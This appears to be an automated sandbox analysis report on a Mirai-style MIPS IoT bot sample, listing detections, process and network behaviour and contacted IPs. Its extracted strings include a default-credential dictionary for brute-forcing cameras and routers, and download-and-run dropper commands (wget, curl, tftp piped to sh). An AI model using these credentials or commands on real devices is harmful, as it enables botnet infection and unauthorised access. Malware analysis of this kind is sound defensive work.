Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1541467
MD5: 02f1409f51bba3761cd7021c2b4f2644
SHA1: 113aa0905b97e9fcba45566d179eb3ce6e8bfceb
SHA256: 08f35189a2d4dae41e3851fe9ea6d52465dbbdbcb1856f362308c329734ddc12
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mipsel.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elf ReversingLabs: Detection: 31%
Found strings indicative of a multi-platform dropper
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: /exe/maps|ash|login|wget|curl|tftp|ntpdate/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/fd/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.mipsel.elf (PID: 6235) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 145.111.84.213
Source: unknown TCP traffic detected without corresponding DNS query: 145.111.84.213
Source: unknown TCP traffic detected without corresponding DNS query: 26.221.144.139
Source: unknown TCP traffic detected without corresponding DNS query: 17.185.125.89
Source: unknown TCP traffic detected without corresponding DNS query: 26.221.144.139
Source: unknown TCP traffic detected without corresponding DNS query: 17.185.125.89
Source: unknown TCP traffic detected without corresponding DNS query: 183.122.204.15
Source: unknown TCP traffic detected without corresponding DNS query: 183.122.204.15
Source: unknown TCP traffic detected without corresponding DNS query: 203.80.50.247
Source: unknown TCP traffic detected without corresponding DNS query: 203.80.50.247
Source: unknown TCP traffic detected without corresponding DNS query: 8.177.1.216
Source: unknown TCP traffic detected without corresponding DNS query: 8.177.1.216
Source: unknown TCP traffic detected without corresponding DNS query: 167.118.73.22
Source: unknown TCP traffic detected without corresponding DNS query: 167.118.73.22
Source: unknown TCP traffic detected without corresponding DNS query: 171.235.171.116
Source: unknown TCP traffic detected without corresponding DNS query: 171.235.171.116
Source: unknown TCP traffic detected without corresponding DNS query: 50.232.150.178
Source: unknown TCP traffic detected without corresponding DNS query: 50.232.150.178
Source: unknown TCP traffic detected without corresponding DNS query: 79.148.204.22
Source: unknown TCP traffic detected without corresponding DNS query: 79.148.204.22
Source: unknown TCP traffic detected without corresponding DNS query: 32.222.225.191
Source: unknown TCP traffic detected without corresponding DNS query: 32.222.225.191
Source: unknown TCP traffic detected without corresponding DNS query: 28.88.144.249
Source: unknown TCP traffic detected without corresponding DNS query: 28.88.144.249
Source: unknown TCP traffic detected without corresponding DNS query: 124.238.41.187
Source: unknown TCP traffic detected without corresponding DNS query: 124.238.41.187
Source: unknown TCP traffic detected without corresponding DNS query: 156.178.22.48
Source: unknown TCP traffic detected without corresponding DNS query: 156.178.22.48
Source: unknown TCP traffic detected without corresponding DNS query: 132.233.166.125
Source: unknown TCP traffic detected without corresponding DNS query: 132.233.166.125
Source: unknown TCP traffic detected without corresponding DNS query: 212.117.246.146
Source: unknown TCP traffic detected without corresponding DNS query: 179.168.91.127
Source: unknown TCP traffic detected without corresponding DNS query: 212.117.246.146
Source: unknown TCP traffic detected without corresponding DNS query: 193.37.165.18
Source: unknown TCP traffic detected without corresponding DNS query: 179.168.91.127
Source: unknown TCP traffic detected without corresponding DNS query: 217.197.248.211
Source: unknown TCP traffic detected without corresponding DNS query: 193.37.165.18
Source: unknown TCP traffic detected without corresponding DNS query: 185.204.75.227
Source: unknown TCP traffic detected without corresponding DNS query: 217.197.248.211
Source: unknown TCP traffic detected without corresponding DNS query: 220.96.169.182
Source: unknown TCP traffic detected without corresponding DNS query: 131.121.89.237
Source: unknown TCP traffic detected without corresponding DNS query: 185.204.75.227
Source: unknown TCP traffic detected without corresponding DNS query: 9.65.64.77
Source: unknown TCP traffic detected without corresponding DNS query: 74.107.204.49
Source: unknown TCP traffic detected without corresponding DNS query: 220.96.169.182
Source: unknown TCP traffic detected without corresponding DNS query: 131.121.89.237
Source: unknown TCP traffic detected without corresponding DNS query: 74.87.45.244
Source: unknown TCP traffic detected without corresponding DNS query: 9.65.64.77
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mipsel.elf (PID: 6235) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal56.linELF@0/0@0/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/1/maps Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mipsel.elf (PID: 6235) File opened: /proc/81/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mipsel.elf (PID: 6235) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 6235.1.00007ffe451d9000.00007ffe451fa000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6235.1.000055ff22fa6000.000055ff2304e000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6235.1.000055ff22fa6000.000055ff2304e000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6235.1.00007ffe451d9000.00007ffe451fa000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
141.84.33.75
 unknown Germany
12816 MWN-ASDE false
140.134.223.157
 unknown Taiwan; Republic of China (ROC)
1659 ERX-TANET-ASN1TaiwanAcademicNetworkTANetInformationC false
88.17.133.192
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
140.82.60.141
 unknown United States
20473 AS-CHOOPAUS false
143.226.247.72
 unknown United States
393296 AUGUSTANACOLLEGEROCKISLANDILUS false
168.201.54.64
 unknown United States
6167 CELLCO-PARTUS false
120.181.207.122
 unknown Indonesia
4761 INDOSAT-INP-APINDOSATInternetNetworkProviderID false
106.157.141.45
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
4.103.240.192
 unknown United States
3356 LEVEL3US false
213.243.115.54
 unknown Russian Federation
6854 SYNTERRA-ASRU false
31.72.97.38
 unknown United Kingdom
12576 EELtdGB false
65.185.198.26
 unknown United States
16787 CHARTER-16787-DCUS false
165.207.1.183
 unknown United States
25733 LEARUS false
206.167.188.116
 unknown Canada
376 RISQ-ASCA false
90.50.128.111
 unknown France
3215 FranceTelecom-OrangeFR false
173.42.164.252
 unknown United States
812 ROGERS-COMMUNICATIONSCA false
149.74.60.255
 unknown United States
12479 UNI2-ASES false
132.38.168.176
 unknown United States
385 AFCONC-BLOCK1-ASUS false
93.101.86.12
 unknown Italy
61315 SEDMULTITELIT false
149.179.119.137
 unknown United Kingdom
87 INDIANA-ASUS false
168.67.178.57
 unknown United States
265240 ULTRANETSERVICOSEMINTERNETLTDABR false
74.153.60.177
 unknown United States
7922 COMCAST-7922US false
203.84.253.226
 unknown Korea Republic of
9286 KINXIDC-AS-KRKINXKR false
198.171.242.142
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
162.193.5.231
 unknown United States
7018 ATT-INTERNET4US false
126.164.186.114
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
221.41.249.5
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
199.199.137.192
 unknown United States
5006 VOYANTUS false
78.254.205.85
 unknown France
12322 PROXADFR false
82.223.38.180
 unknown Spain
8560 ONEANDONE-ASBrauerstrasse48DE false
77.141.224.154
 unknown France
15557 LDCOMNETFR false
116.247.15.195
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
54.103.243.100
 unknown United States
16509 AMAZON-02US false
94.96.106.0
 unknown Saudi Arabia
25019 SAUDINETSTC-ASSA false
70.80.139.27
 unknown Canada
5769 VIDEOTRONCA false
33.103.7.46
 unknown United States
2686 ATGS-MMD-ASUS false
157.208.218.141
 unknown United States
12552 IPO-EUSE false
32.222.225.191
 unknown United States
46690 SNET-FCCUS false
29.81.93.139
 unknown United States
7922 COMCAST-7922US false
122.43.131.22
 unknown Korea Republic of
17858 POWERVIS-AS-KRLGPOWERCOMMKR false
217.77.82.94
 unknown Italy
29609 ITC-ASIT false
213.220.213.146
 unknown Czech Republic
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
83.101.199.61
 unknown Saudi Arabia
29690 ATHEERAtheerJeraisyAutonomousSystemSA false
216.173.99.58
 unknown United States
22333 ABEUS false
32.218.105.51
 unknown United States
46690 SNET-FCCUS false
47.24.82.159
 unknown United States
20115 CHARTER-20115US false
98.139.219.76
 unknown United States
26101 YAHOO-3US false
150.246.70.208
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
42.7.138.174
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
112.25.34.40
 unknown China
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
89.153.228.47
 unknown Portugal
2860 NOS_COMUNICACOESPT false
66.240.47.89
 unknown United States
7922 COMCAST-7922US false
22.254.231.213
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
95.108.37.166
 unknown Poland
43118 EAW-ASEastandWestNetworkPL false
160.123.156.251
 unknown South Africa
3741 ISZA false
222.170.10.30
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
141.174.237.194
 unknown United States
29601 UPM-KYMMENE-ASKuusankoskiFinlandFI false
193.24.20.237
 unknown Germany
8937 SALINK-ASSaarlandDE false
69.16.159.26
 unknown United States
199156 STACKPATHNL false
43.10.205.153
 unknown Japan 4249 LILLY-ASUS false
136.133.185.150
 unknown United States
60311 ONEFMCH false
25.101.124.13
 unknown United Kingdom
7922 COMCAST-7922US false
173.236.97.217
 unknown United States
32475 SINGLEHOP-LLCUS false
44.204.254.102
 unknown United States
14618 AMAZON-AESUS false
32.105.43.102
 unknown United States
2688 ATGS-MMD-ASUS false
12.155.110.34
 unknown United States
7018 ATT-INTERNET4US false
140.151.136.160
 unknown Finland
719 ELISA-ASHelsinkiFinlandEU false
86.151.159.182
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
42.204.200.131
 unknown China
7641 CHINABTNChinaBroadcastingTVNetCN false
23.93.120.80
 unknown United States
7065 SONOMAUS false
103.53.117.147
 unknown Australia
55811 COUNTRYTELL-AUCountrytellManagementPtyLtdAU false
6.223.89.121
 unknown United States
3356 LEVEL3US false
94.94.193.141
 unknown Italy
3269 ASN-IBSNAZIT false
12.195.55.44
 unknown United States
8030 WORLDNET5-10US false
23.209.51.130
 unknown United States
16625 AKAMAI-ASUS false
171.73.239.23
 unknown United States
17020 COMP-SCIENCEUS false
24.83.39.68
 unknown Canada
6327 SHAWCA false
90.143.211.3
 unknown Sweden
48503 TELE2-KZTele2KazakhstanKZ false
184.34.232.226
 unknown United States
5778 CENTURYLINK-LEGACY-EMBARQ-RCMTUS false
79.172.68.173
 unknown Russian Federation
30784 ISKRATELECOM-ASSEVEN-SKYRU false
78.160.77.218
 unknown Turkey
9121 TTNETTR false
74.182.128.7
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
70.116.13.153
 unknown United States
11427 TWC-11427-TEXASUS false
93.184.120.35
 unknown Norway
29300 AS-DIRECTCONNECTNO false
164.153.185.184
 unknown United States
16570 TELOIP-SW-ASNCA false
207.151.211.215
 unknown United States
127 JPL-AS127US false
61.111.131.44
 unknown Korea Republic of
138195 MOACKCOLTD-AS-APMOACKCoLTDKR false
112.27.151.223
